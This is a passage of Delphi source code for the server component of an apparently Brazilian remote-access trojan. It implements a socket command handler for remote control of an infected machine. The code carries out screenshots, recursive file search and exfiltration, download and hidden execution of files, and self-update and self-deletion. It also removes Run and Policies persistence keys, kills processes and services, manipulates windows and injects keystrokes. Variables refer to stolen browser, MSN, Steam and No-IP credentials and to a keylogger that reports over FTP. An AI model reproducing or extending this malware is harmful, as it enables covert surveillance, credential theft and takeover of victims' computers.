SetWindowPos(MainWnd.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);
if (getforegroundwindow <> MainWnd.Handle) then setforegroundwindow(MainWnd.Handle);
end;
_ProcessMessages;
end;
end;
procedure Button1Click(var Msg: TMessage);
begin
_EnviarStream(ClientSocket, CHATMSG + '|' + Edit1.Text + '|');
memo1.Text := Memo1.Text + ServerName + ' ' + Envia + ' ---> ' + ClientName + #13#10 + Edit1.Text + #13#10 + #13#10;
Edit1.Text := '';
end;
procedure ChangeTextFont(HWND: cardinal; FontName: string; size: integer = 11);
var
hFont: cardinal;
begin
{ ** Create Font ** }
hFont := CreateFont(-size, 0, 0, 0, 400, 0, 0, 0, DEFAULT_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH or FF_DONTCARE, pchar(FontName));
{ Change fonts }
if hFont <> 0 then SendMessage(HWND, WM_SETFONT, hFont, 0);
end;
procedure MainDestroy(var Msg: TMessage);
begin
Sairdochat := true;
//PostQuitMessage(0);
end;
///////// CHAT END ////////
var
WebcamCS: TClientSocket;
DesktopCS: TClientSocket;
cadena: string;
function WindowsList: string;
function EnumWindowProc(Hwnd: HWND; i: integer): boolean; stdcall;
var
Titulo : string;
begin
if (Hwnd=0) then
begin
result := false;
end
else
begin
SetLength(Titulo, 255);
SetLength(Titulo, GetWindowText(Hwnd, PChar(Titulo), Length(Titulo)));
if IsWindowVisible(Hwnd) and (Titulo <> '') then
begin
Cadena := Cadena + Titulo + '|' + IntToStr(Hwnd) + '|';
end else
if (IsWindowVisible(Hwnd) = false) and (Titulo <> '') then
begin
Cadena := Cadena + '*@*@' + Titulo + '|' + IntToStr(Hwnd) + '|';
end;
Result := true;
end;
end;
begin
Cadena := '';
EnumWindows(@EnumWindowProc, 0);
result := cadena;
end;
procedure DownloadSelected;
var
TempStr: string;
TempInt: int64;
begin
TempStr := MuliDownFile;
TempInt := MuliDownFileSize;
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + DOWNLOAD + '|' + TempStr + '|', TempStr, TempInt, 0);
end;
procedure DownloadRecSelected;
var
TempStr: string;
TempInt: int64;
begin
TempStr := MuliDownFile;
TempInt := MuliDownFileSize;
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + DOWNLOADREC + '|' + extractfilepath(TempStr) + '|' + TempStr + '|', TempStr, TempInt, 0);
end;
function PossoMexerNoArquivo(Arquivo: string): boolean;
var
HFileRes: HFile;
begin
result := true;
HFileRes := CreateFile(PChar(Arquivo),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if HFileRes = INVALID_HANDLE_VALUE then result := false;
CloseHandle(HFileRes);
end;
procedure FileSearch(const PathName, FileName : string; const InDir : boolean);
var
Rec: TSearchRec;
Path, Tempdir: string;
tamanho: int64;
Tipo, FileDate: string;
RSR: RecordSearchResult;
ResultStream: TMemoryStream;
TempFile: string;
begin
path := PathName;
if copy(path, 1, pos('?', path) - 1) = 'ALL' then
begin
Tempdir := path;
delete(tempdir, 1, pos('?', Tempdir));
while pos('?', Tempdir) > 0 do
begin
sleep(50);
try
FileSearch(copy(Tempdir, 1, pos('?', Tempdir) - 1), FileName, TRUE);
except
end;
delete(tempdir, 1, pos('?', Tempdir));
end;
exit;
end;
if path[length(path)] <> '\' then path := path + '\';
if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
try
repeat
ResultStream := TMemoryStream.Create;
RSR.Find := Rec.FindData;
RSR.TipoDeArquivo := TipoArquivo(Path + string(Rec.FindData.cFileName), extractfileext(string(Rec.FindData.cFileName)));
RSR.Dir := Path;
ResultStream.WriteBuffer(RSR, sizeof(RecordSearchResult));
ToSendSearch := ToSendSearch + StreamToStr(ResultStream);
ResultStream.Free;
TempFile := mytempfolder + inttostr(gettickcount) + '.tmp';
criararquivo(TempFile, '', 0);
Mydeletefile(TempFile);
until FindNext(Rec) <> 0;
finally
_myFindClose(Rec);
end;
If not InDir then Exit;
if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name <> '.') and (Rec.Name <> '..') then
FileSearch(Path + Rec.Name, FileName, True);
until FindNext(Rec) <> 0;
finally
_myFindClose(Rec);
end;
end;
procedure FileSearchDownloadDir(const PathName: string; const InDir : boolean);
var
Rec: TSearchRec;
Path, Tempdir: string;
tamanho: int64;
Tipo, FileDate: string;
TempFile: string;
begin
path := PathName;
if path[length(path)] <> '\' then path := path + '\';
if FindFirst(Path + '*.*', faAnyFile - faDirectory, Rec) = 0 then
try
repeat
if length(Path + Rec.Name) > 3 then // porque c:\ tem tamanho 3 hehe
ToDownloadDIR := ToDownloadDIR + Path + Rec.Name + '|';
TempFile := mytempfolder + inttostr(gettickcount) + '.tmp';
criararquivo(TempFile, '', 0);
Mydeletefile(TempFile);
until FindNext(Rec) <> 0;
finally
_myFindClose(Rec);
end;
If not InDir then Exit;
if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name <> '.') and (Rec.Name <> '..') then
FileSearchDownloadDir(Path + Rec.Name, True);
until FindNext(Rec) <> 0;
finally
_myFindClose(Rec);
end;
end;
function FileExistsOnComputer(const PathName, FileName : string; const InDir : boolean; var ArquivoEncontrado: string): boolean;
var
Rec: TSearchRec;
Path, Tempdir: string;
tamanho: int64;
Tipo, FileDate: string;
TempFile: string;
begin
result := false;
path := PathName;
ArquivoEncontrado := '';
if path[length(path)] <> '\' then path := path + '\';
try
if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
try
repeat
if length(Path + Rec.Name) > 3 then
begin
result := true;
ArquivoEncontrado := Path + Rec.Name;
end;
TempFile := mytempfolder + inttostr(gettickcount) + '.tmp';
criararquivo(TempFile, '', 0);
Mydeletefile(TempFile);
until (FindNext(Rec) <> 0) or (result = true);
finally
_myFindClose(Rec);
end;
except
end;
If not InDir then Exit;
try
if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name <> '.') and (Rec.Name <> '..') then
begin
result := FileExistsOnComputer(Path + Rec.Name, FileName, True, ArquivoEncontrado);
end;
until (FindNext(Rec) <> 0) or (result = true);
finally
_myFindClose(Rec);
end;
except
end;
end;
constructor TThreadSearch.Create(pDiretorio, pMascara: string);
begin
Diretorio := pDiretorio;
Mascara := pMascara;
end;
constructor TThreadDownloadDir.Create(pDiretorio: string);
begin
Diretorio := pDiretorio;
end;
function GetDrives2: String;
var
Drives: array[0..104] of Char;
pDrive: PChar;
begin
GetLogicalDriveStrings(104, Drives);
pDrive := Drives;
while pDrive^ <> #0 do
begin
Result := Result + pDrive + '|';
Inc(pDrive, 4);
end;
end;
function CountChars(char, str: string): integer;
var
i: integer;
begin
result := 0;
if str = '' then exit;
if pos(char, str) <= 0 then exit;
i := 1;
for i := 1 to length(str) do
begin
if str[i] = char then inc(result, 1);
end;
end;
var
xxxArquivo: string;
xxxDir: string;
procedure EnviarArqDownDir;
var
TempStr, TempDir, s: string;
TempInt: int64;
begin
TempStr := xxxArquivo;
TempDir := xxxDir;
TempInt := MyGetFileSize(TempStr);
s := extractfilepath(TempStr);
if tempdir[length(tempdir)] <> '\' then tempdir := tempdir + '\';
if s[length(s)] <> '\' then s := s + '\';
s := replacestring(TempDir, '', s);
while CountChars('\', TempDir) > 1 do delete(TempDir, 1, pos('\', TempDir));
TempDir := TempDir + s;
if (fileexists(Tempstr) = true) and (TempInt > 0) and (PossoMexerNoArquivo(Tempstr) = true) then
EnviarArquivo(ClientSocket, FILEMANAGER + '|' + DOWNLOADREC + '|' + tempdir + '|' + TempStr + '|', TempStr, TempInt, 0, false);
xxxArquivo := '';
end;
procedure DownloadDirStart(P: Pointer);
var
ThreadDownloadDir : TThreadDownloadDir;
TempStr, TempStr1, Tosend, ClientDir: string;
begin
ThreadDownloadDir := TThreadDownloadDir(P);
ClientDir := ThreadDownloadDir.Diretorio;
FileSearchDownloadDir(ClientDir, TRUE);
TempStr := ToDownloadDIR;
ToDownloadDIR := '';
if TempStr <> '' then
begin
While TempStr <> '' do
begin
TempStr1 := Copy(TempStr, 1, pos('|', TempStr) - 1);
delete(TempStr, 1, pos('|', TempStr));
xxxArquivo := TempStr1;
xxxDir := ClientDir;
StartThread(@EnviarArqDownDir);
while xxxArquivo <> '' do sleep(100);
end;
end;
end;
procedure ProcurarArquivo(P: Pointer);
var
ThreadSerarch : TThreadSearch;
TempStr, TempStr1, TempStr2, Tosend: string;
begin
ThreadSerarch := TThreadSearch(P);
FileSearch(ThreadSerarch.Diretorio, ThreadSerarch.Mascara, TRUE);
TempStr := ToSendSearch;
ToSendSearch := '';
if TempStr <> '' then
begin
ToSend := FILEMANAGER + '|' + PROCURAR_ARQ + '|' + TempStr;
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + PROCURARERROR + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end;
function GerarRelatorioConfig: string;
var
i: integer;
begin
for i := 0 to 19 do if length(variaveis[i]) > 1 then result := result + variaveis[i] + '|';
result := result + '#';
result := result + GetNewIdentificationName('') + '|';
result := result + senha + '|';
result := result + serverfilename + '|';
result := result + paramstr(0) + '|';
if (HKLM <> '') and (InstalarServidor = true) then result := result + HKLM + '|' else result := result + ' |';
if (HKCU <> '') and (InstalarServidor = true) then result := result + HKCU + '|' else result := result + ' |';
if (UnitSettings.ActiveX <> '') and (InstalarServidor = true) then result := result + UnitSettings.ActiveX + '|' else result := result + ' |';
if (Policies <> '') and (InstalarServidor = true) then result := result + Policies + '|' else result := result + ' |';
result := result + variaveis[59] + '|';
result := result + variaveis[60] + '|';
result := result + variaveis[61] + '|';
result := result + variaveis[63] + '|';
result := result + MutexName + '|';
if ExibirMensagem = true then
begin
result := result + variaveis[33] + ' |';
result := result + variaveis[34] + ' |';
end else
begin
result := result + ' |';
result := result + ' |';
end;
result := result + variaveis[35] + '|';
result := result + variaveis[37] + '|';
if (keyloggerativo = false) or (EnviarPorFTP = false) then
begin
result := result + ' |';
result := result + ' |';
result := result + ' |';
result := result + ' |';
result := result + ' |';
result := result + ' |';
end else
begin
result := result + variaveis[38] + '|';
result := result + variaveis[39] + '|';
result := result + variaveis[41] + '|';
result := result + variaveis[42] + '|';
result := result + variaveis[43] + '|';
result := result + variaveis[44] + '|';
end;
result := result + variaveis[45] + '|';
result := result + variaveis[46] + '|';
result := result + variaveis[47] + '|';
result := result + variaveis[48] + '|';
result := result + variaveis[49] + '|';
result := result + variaveis[50] + '|';
result := result + variaveis[51] + '|';
result := result + variaveis[52] + '|';
result := result + variaveis[53] + '|';
result := result + variaveis[54] + '|';
result := result + variaveis[55] + '|';
result := result + variaveis[56] + '|';
result := result + variaveis[70] + '|';
if variaveis[71] <> '' then result := result + variaveis[71] + '|' else result := result + ' |';
if variaveis[72] <> '' then result := result + 'TRUE' + '|' else result := result + 'FALSE' + '|';
end;
function GetNewIdentificationName(NewName: string): string;
var
tempstr: string;
begin
if NewName <> '' then
begin
if Write2Reg(HKEY_CURRENT_USER, 'SOFTWARE\' + Identificacao, 'NewIdentification', NewName) = true then
result := NewName else result := Identificacao;
exit;
end;
result := lerreg(HKEY_CURRENT_USER, pchar('SOFTWARE\' + Identificacao), pchar('NewIdentification'), '');
if result = '' then
begin
tempstr := getday + '/' + getmonth + '/' + getyear + ' -- ' + gethour + ':' + GetMinute;
Write2Reg(HKEY_CURRENT_USER, 'SOFTWARE\' + Identificacao, 'NewIdentification', Identificacao);
end;
end;
procedure DesinstalarServer;
var
InstallKey: HKEY;
TempMutex: THandle;
begin
ExitMutex := CreateMutex(nil, False, pchar(MutexName + '_SAIR'));
if ShellThreadID <> 0 then
begin
ShellGetComando('exit');
sleep(100);
ShellGetComando('');
//closethread(ShellThreadID);
ShellThreadID := 0;
end;
CloseHandle(KeyloggerThread);
CloseHandle(MainMutex);
SetFileAttributes(PChar(extractfilepath(ServerFileName)), FILE_ATTRIBUTE_NORMAL);
MyDeleteFile(LogsFile);
if HKLM <> '' then
begin
regopenkey(HKEY_LOCAL_MACHINE, CurrentVersion, InstallKey);
RegDeleteValue(InstallKey, pchar(HKLM));
regclosekey(InstallKey);
end;
if HKCU <> '' then
begin
regopenkey(HKEY_CURRENT_USER, CurrentVersion, InstallKey);
RegDeleteValue(InstallKey, pchar(HKCU));
regclosekey(InstallKey);
end;
if Policies <> '' then
begin
regopenkey(HKEY_CURRENT_USER, PoliciesKey, InstallKey);
RegDeleteValue(InstallKey, pchar(Policies));
regclosekey(InstallKey);
regopenkey(HKEY_LOCAL_MACHINE, PoliciesKey, InstallKey);
RegDeleteValue(InstallKey, pchar(Policies));
regclosekey(InstallKey);
end;
if UnitSettings.activeX <> '' then
begin
RegOpenKeyEx(HKEY_LOCAL_MACHINE, InstalledComp, 0, KEY_WRITE, InstallKey);
RegDeleteKey(InstallKey, pchar(UnitSettings.activeX));
RegCloseKey(InstallKey);
RegOpenKeyEx(HKEY_CURRENT_USER, InstalledComp, 0, KEY_WRITE, InstallKey);
RegDeleteKey(InstallKey, pchar(UnitSettings.activeX));
RegCloseKey(InstallKey);
end;
RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\', 0, KEY_WRITE, InstallKey);
RegDeleteKey(InstallKey, pchar(Identificacao));
RegCloseKey(InstallKey);
end;
procedure SendShift(H: HWnd; Down: Boolean);
var
vKey, ScanCode, wParam: Word;
lParam: longint;
begin
vKey := $10;
ScanCode := MapVirtualKey(vKey, 0);
wParam := vKey or ScanCode shl 8;
lParam := longint(ScanCode) shl 16 or 1;
if not(Down) then lParam := lParam or $C0000000;
SendMessage(H, WM_KEYDOWN, vKey, lParam);
end;
procedure SendCtrl(H: HWnd; Down: Boolean);
var
vKey, ScanCode, wParam: Word;
lParam: longint;
begin
vKey := $11;
ScanCode := MapVirtualKey(vKey, 0);
wParam := vKey or ScanCode shl 8;
lParam := longint(ScanCode) shl 16 or 1;
if not(Down) then lParam := lParam or $C0000000;
SendMessage(H, WM_KEYDOWN, vKey, lParam);
end;
procedure SendKey(H: Hwnd; Key: char);
var
vKey, ScanCode, wParam: Word;
lParam, ConvKey: longint;
Shift, Ctrl: boolean;
begin
ConvKey := OemKeyScan(ord(Key));
Shift := (ConvKey and $00020000) <> 0;
Ctrl := (ConvKey and $00040000) <> 0;
ScanCode := ConvKey and $000000FF or $FF00;
vKey := ord(Key);
wParam := vKey;
lParam := longint(ScanCode) shl 16 or 1;
if Shift then SendShift(H, true);
if Ctrl then SendCtrl(H, true);
SendMessage(H, WM_KEYDOWN, vKey, lParam);
SendMessage(H, WM_CHAR, vKey, lParam);
lParam := lParam or $C0000000;
SendMessage(H, WM_KEYUP, vKey, lParam);
if Shift then SendShift(H, false);
if Ctrl then SendCtrl(H, false);
end;
procedure sendkeys(recebido: string);
var
KeyBoard: byte;
begin
while pos('|', recebido) > 0 do
begin
KeyBoard := strtoint(copy(recebido, 1, pos('|', recebido) -1));
delete(recebido, 1, pos('|', recebido));
keybd_event(KeyBoard, 1, 0, 0);
keybd_event(KeyBoard, 1, KEYEVENTF_KEYUP, 0);
end;
end;
procedure ExecutarComando;
var
ToSend: string;
Comando: string;
CommandThreadId: THandle;
ThreadId: cardinal;
PID: cardinal;
TempStr, TempStr1, TempStr2, TempStr3, TempStr4, tempstr5, tempstr6: string;
TempInt64, TempInt, TempInt2: int64;
DeviceClassesCount, DevicesCount: integer;
NumArrayRegistro: string;
EixoX, EixoY: integer;
DC1: HDC;
Point: TPoint;
MouseButton: dword;
DC: HDC;
delay: integer;
Key: char;
Msg: TMsg;
ThreadInfoAudio: TThreadInfoAudio;
ThreadSearch: TThreadSearch;
ThreadDownloadDir: TThreadDownloadDir;
DeletouArq, DeletouDir: boolean;
MSN, FIREFOX, IELOGIN, IEPASS, IEAUTO, IEWEB, NOIP, FF3_5, STEAM, CHROME: string;
c: cardinal;
TempMutex: cardinal;
i: integer;
H: THandle;
TempFile: string;
Tentativa: integer;
begin
//TempFile := mytempfolder + inttostr(gettickcount) + '.tmp';
//criararquivo(TempFile, '', 0);
//Mydeletefile(TempFile);
processmessages;
Comando := ComandoRecebido;
CommandThreadId := MasterCommandThreadId;
while gettickcount < LastCommand + 2 do processmessages;
LastCommand := Gettickcount;
LastPing := gettickcount;
if copy(Comando, 1, pos('|', Comando) - 1) = MAININFO then
begin
delete(comando, 1, pos('|', Comando));
if copy(Comando, 1, pos('|', Comando) - 1) <> senha then
begin
ClientSocket.Disconnect(erro17);
AddDebug(erro3);
CloseHandle(CommandThreadId);
exit;
end;
delete(comando, 1, pos('|', Comando));
RandomStringClient := copy(Comando, 1, pos('|', Comando) - 1);
if NewIdentification = '' then NewIdentification := Identificacao;
ToSend := ListarMAININFO(NewIdentification, ClientSocket.LocalAddress, Versao, inttostr(ClientSocket.RemotePort), GetFirstExecution);
MainInfoBuffer := ToSend;
_EnviarStream(ClientSocket, ToSend + GerarRelatorioConfig);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = IMGDESK then
begin
// aqui no futuro eu posso implementar para o cliente escolher o tamanho da imagem
ToSend := GetDesktopImage(90, 130, 130);
_EnviarStream(ClientSocket, IMGDESK + '|' + ToSend);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DISCONNECT then
begin
ExitMutex := CreateMutex(nil, False, pchar(MutexName + '_SAIR'));
CloseHandle(MainMutex);
ClientSocket.Disconnect(erro18);
AddDebug(erro4);
GetWindowThreadProcessId(FindWindow('shell_traywnd', nil), @PID);
if PID <> getcurrentprocessid then
begin
sleep(10000);
exitprocess(0);
end else
begin
FinalizarServidor := true;
sleep(10000); // tempo para todos os processos verificarem o mutex_sair
// aqui eu preciso fachar o handle pq o processo não será finalizado
CloseHandle(ExitMutex);
exit;
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UNINSTALL then
begin
DesinstalarServer;
ClientSocket.Disconnect(erro19);
AddDebug(erro5);
GetWindowThreadProcessId(FindWindow('shell_traywnd', nil), @PID);
if PID <> getcurrentprocessid then
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
sleep(10000);
exitprocess(0);
end else
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
FinalizarServidor := true;
sleep(10000); // tempo para todos os processos verificarem o mutex_sair
// aqui eu preciso fachar o handle pq o processo não será finalizado
CloseHandle(ExitMutex);
exit;
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = RENAMESERVIDOR then
begin
delete(comando, 1, pos('|', Comando));
NewIdentification := copy(Comando, 1, pos('|', Comando) - 1);
NewIdentification := GetNewIdentificationName(NewIdentification);
_EnviarStream(ClientSocket, RENAMESERVIDOR + '|' + NewIdentification + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UPDATESERVIDOR then
begin
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
delete(comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(comando, 1, pos('|', Comando));
TempStr2 := MyTempFolder + inttostr(gettickcount) + '_' + ExtractFileName(TempStr1);
if ReceberArquivo(ClientSocket, TempStr + '|' + TempStr1 + '|', TempStr2) then
begin
if fileexists(TempStr2) = false then
begin
_EnviarStream(ClientSocket, UPDATESERVERERROR + '|');
exit;
end;
TempMutex := CreateMutex(nil, False, '_x_X_UPDATE_X_x_');
if MyShellExecute(0, 'open', pchar(TempStr2), nil, nil, SW_NORMAL) <= 32 then
begin
closehandle(TempMutex);
_EnviarStream(ClientSocket, UPDATESERVERERROR + '|');
exit;
end;
sleep(1000);
closehandle(TempMutex);
DesinstalarServer;
ClientSocket.Disconnect(erro20);
AddDebug(erro6);
GetWindowThreadProcessId(FindWindow('shell_traywnd', nil), @PID);
if PID <> getcurrentprocessid then
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
sleep(10000);
exitprocess(0);
end else
begin
if paramstr(0) <> ServerFileName then MyDeleteFile(ServerFileName) else DeletarSe;
FinalizarServidor := true;
sleep(10000); // tempo para todos os processos verificarem o mutex_sair
// aqui eu preciso fachar o handle pq o processo não será finalizado
CloseHandle(ExitMutex);
exit;
end;
end;
end else
if (copy(Comando, 1, pos('|', Comando) - 1) = ENVIAREXECNORMAL) or
(copy(Comando, 1, pos('|', Comando) - 1) = ENVIAREXECHIDDEN) then
begin
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
delete(comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(comando, 1, pos('|', Comando));
TempStr2 := MyTempFolder + inttostr(gettickcount) + '_' + ExtractFileName(TempStr1);
if ReceberArquivo(ClientSocket, TempStr + '|' + TempStr1 + '|', TempStr2) then
begin
if TempStr = ENVIAREXECNORMAL then
MyShellExecute(0, 'open', pchar(TempStr2), '', nil, SW_NORMAL) else
MyShellExecute(0, 'open', pchar(TempStr2), '', nil, SW_HIDE);
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPROCESSOS then
begin
_EnviarStream(ClientSocket, LISTARPROCESSOS + '|' +
LISTADEPROCESSOSPRONTA + '|' +
inttostr(GetCurrentProcessId) + '|' +
ListaDeProcessos);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = FINALIZARPROCESSO then
begin
delete(comando, 1, pos('|', Comando));
try
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
except
end;
if TerminarProceso(TempInt) = true then
_EnviarStream(ClientSocket, LISTARPROCESSOS + '|' +
FINALIZARPROCESSO + '|' +
'Y|' +
inttostr(TempInt) + '|') else
_EnviarStream(ClientSocket, LISTARPROCESSOS + '|' +
FINALIZARPROCESSO + '|' +
'N|' +
inttostr(TempInt) + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARSERVICOS then
begin
_EnviarStream(ClientSocket, LISTARSERVICOS + '|' +
LISTADESERVICOSPRONTA + '|' +
ServiceList);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = INICIARSERVICO then
begin
Delete(Comando, 1, pos('|', Comando));
ServiceStatus(copy(Comando, 1, pos('|', Comando) - 1), True, True);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = PARARSERVICO then
begin
Delete(Comando, 1, pos('|', Comando));
ServiceStatus(copy(Comando, 1, pos('|', Comando) - 1), True, False);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESINSTALARSERVICO then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
if UninstallService(TempStr) = true then
begin
_EnviarStream(ClientSocket, LISTARSERVICOS + '|' +
DESINSTALARSERVICO + '|' +
'Y|' +
TempStr + '|');
end else
begin
_EnviarStream(ClientSocket, LISTARSERVICOS + '|' +
DESINSTALARSERVICO + '|' +
'N|' +
TempStr + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = INSTALARSERVICO then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr2 := Copy(Comando, 1, Pos('|', Comando) - 1);
if InstallService(pchar(TempStr), pchar(TempStr1), TempStr2) = true then
begin
_EnviarStream(ClientSocket, LISTARSERVICOS + '|' +
INSTALARSERVICO + '|' +
'Y|' +
TempStr + '|');
end else
begin
_EnviarStream(ClientSocket, LISTARSERVICOS + '|' +
INSTALARSERVICO + '|' +
'N|' +
TempStr + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARJANELAS then
begin
TempStr2 := '';
TempStr := WindowsList;
while TempStr <> '' do
begin
TempStr1 := copy(TempStr, 1, pos('|', TempStr) - 1);
delete(TempStr, 1, pos('|', TempStr));
TempInt := StrToInt(copy(TempStr, 1, pos('|', TempStr) - 1));
delete(TempStr, 1, pos('|', TempStr));
TempStr2 := TempStr2 + TempStr1 + '|' + inttostr(TempInt) + '|' + GetProcessNameFromWnd(TempInt) + '|';
end;
if TempStr2 <> '' then
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
LISTADEJANELASPRONTA + '|' +
TempStr2) else
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
LISTADEJANELASPRONTA + '|' +
'XXX');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_FECHAR then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
FecharJanela(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_FECHAR + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_MAX then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
MaximizarJanela(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_MAX + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_MIN then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
MinimizarJanela(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_MIN + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_MOSTRAR then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
MostrarJanela(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_MOSTRAR + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_OCULTAR then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
OcultarJanela(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_OCULTAR + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_MIN_TODAS then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
MinimizarTodas;
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_MIN_TODAS + '|' +
inttostr(TempInt) + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WINDOWS_CAPTION then
begin
Delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if SetWindowText(strtoint(tempstr) ,PChar(copy(Comando, 1, pos('|', Comando) - 1))) = true then
begin
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_CAPTION + '|' +
tempstr + '|' +
copy(Comando, 1, pos('|', Comando) - 1) + '|');
end else
begin
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
WINDOWS_CAPTION + '|' +
tempstr + '|' +
'N|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DISABLE_CLOSE then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
DesabilitarClose(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
DISABLE_CLOSE + '|' +
inttostr(TempInt) + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = ENABLE_CLOSE then
begin
Delete(Comando, 1, pos('|', Comando));
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
HabilitarClose(TempInt);
_EnviarStream(ClientSocket, LISTARJANELAS + '|' +
ENABLE_CLOSE + '|' +
inttostr(TempInt) + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPROGRAMASINSTALADOS then
begin
tempstr := ListarApp('HKEY_LOCAL_MACHINE\' + UNINST_PATH);
_EnviarStream(ClientSocket, LISTARPROGRAMASINSTALADOS + '|' +
LISTADEPROGRAMASINSTALADOSPRONTA + '|' +
TempStr + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESINSTALARPROGRAMA then
begin
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
//myShellExecute(0, 'open', pchar(tempstr), nil, nil, SW_HIDE);
winexec(pchar(tempstr), sw_hide);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPORTAS then
begin
CarregarDllActivePort;
TempStr := CriarLista(false);
//LiberarDllActivePort;
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
LISTADEPORTASPRONTA + '|' +
TempStr + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPORTASDNS then
begin
CarregarDllActivePort;
